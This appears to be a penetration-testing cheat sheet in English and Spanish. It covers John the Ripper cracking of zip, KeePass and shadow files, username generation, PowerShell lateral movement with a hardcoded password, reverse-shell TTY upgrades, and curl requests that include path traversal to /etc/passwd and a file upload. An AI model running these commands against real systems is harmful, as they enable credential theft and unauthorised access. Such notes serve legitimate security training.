UTILS

Unzip encrypted zips

zip2john file > zip.file john zip.file -wordlist:/wordlistPath

Create user list with names

username-anarchy --input-file names.txt --select-format first,flast,first.last,firstl > usernames.txt

Kepass Master Password decode

First step

keepass2john data.kdbx > hash.txt

Second Step

john -wordlist=/usr/share/wordlists/rockyou.txt

DECODE BASE64

echo -n "cadena" | base64 -d; echo  

CRACK SHADOW TXT

We need the passwd and the shadow file

First Step

unshadow passwd.txt shadow.txt > unshadowed.txt

Second Step

john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

CMD Lateral Movement

First Step

$user = "machineName\user"
$password = ConvertTo-SecureString "butterfly!#1" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($user, $password)

Invoke-Command -Credential $cred -ComputerName SNIPER -ScriptBlock { whoami }

TTY Treatment

Para poder tener una terminal interactiva debemos seguir estos pasos:

1. Una vez ganamos acceso al sistema añadimos el siguiente comando:

script /dev/null -c bash 

1. CTRL + Z

2. Ponemos el siguiente comando:

stty raw -echo; fg

1. Reseteamos el xterm

reset xterm

1. Exportamos variables TERM y BASH

export TERM=xterm
export SHELL=bash

1. Ajustamos el tamaño de la ventana. Para esto deberemos saber el tamaño de nuestra terminal con el comando:

stty size

stty rows x columns y

CURL

Verbose output

curl -v http://<DOMAIN>

POST Method

curl -X POST http://<DOMAIN>

PUT Method

curl -X PUT http://<DOMAIN>

Use --path-as-is to handle /../ or /./ in the given URL

curl --path-as-is http://<DOMAIN>/../../../../../../etc/passwd

File Upload

curl -F myFile=@<FILE> http://<RHOST>